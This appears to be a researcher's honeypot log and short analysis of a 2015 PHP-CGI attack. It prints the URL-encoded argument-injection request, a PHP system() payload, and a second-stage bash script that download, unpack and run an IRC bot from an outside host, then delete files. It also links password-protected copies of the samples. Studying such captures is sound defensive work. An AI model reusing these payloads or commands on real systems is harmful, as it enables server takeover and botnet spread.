Encoded bot execution from 162.209.14.224 including attack IPs

2015-07-19 16:28:52
Source IP: 162.209.14.224
Country: US RiskScore: 1 Malware: []
POST //%63%67%69%2d%62%69%6e/%70%68%70?%2d%64+%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%3d%6f%6e+%2d%64+%73%61%66%65%5f%6d%6f%64%65%3d%6f%66%66+%2d
%64+%73%75%68%6f%73%69%6e%2e%73%69%6d%75%6c%61%74%69%6f%6e%3d%6f%6e+%2d%64+%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%3d%22%22+%2d%64+%6f%70%65%6e%5
f%62%61%73%65%64%69%72%3d%6e%6f%6e%65+%2d%64+%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%3d%70%68%70%3a%2f%2f%69%6e%70%75%74+%2d%64+%63%67%69%2e%66%6f%72%63%65%5f%72%65%64%69%72%65%63%74%3d%30+%2d%64+%63%67%69%2e%72%65%64%69%72%65%63%74%5f%73%74%61%74%75%73%5f%65%6e%76%3d%30+%2d%64+%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%3d%70%68%70%3a%2f%2f%69%6e%70%75%74+%2d%6e HTTP/1.1
Host: -h
Content-Type: application/x-www-form-urlencoded
Content-Length: 188

<? system("cd /tmp ; wget trying.us.to/seed.jpg ; curl -O http://trying.us.to/seed.jpg ; fetch http://trying.us.to/seed.jpg ; tar -xzvf seed.jpg ; chmod +x seed ; ./seed  ; rm -rf * "); ?>
 END OF DATA

 This is a really really nice one.
The seed.jpg is basically just a script to download the original payload

#!/bin/bash
cd /var/tmp/ ;wget trying.us.to/index.htm; curl -O http://trying.us.to/index.htm; fetch http://trying.us.to/index.htm; tar -xzvf index.htm;rm -rf index.htm; perl /var/tmp/libssl3.so.2 ; rm -rf *; wget trying.us.to/stats.php;fetch http://trying.us.to/stats.php ;curl -O http://trying.us.to/stats.php; tar -xzvf stats.php ; rm -rf stats.php ; cd .d ;./autorun

This scripts leads to the download of two files. index.htm and stats.php. Both are zipped tar archives.

• index.htm is a IRC bot, the name of the unzipped file is libssl3.so.2
• The second file, is the nicer one
  It includes a full folder structure which can be found in .d 
  
  The file bang.txt includes a list of more than 15.000 IP addresses

I uploaded all files to my google drive:

 https://drive.google.com/file/d/0B9asJlVwm-MOelRJZm4yOVhkSmM/view?usp=sharing

the Password is "danger"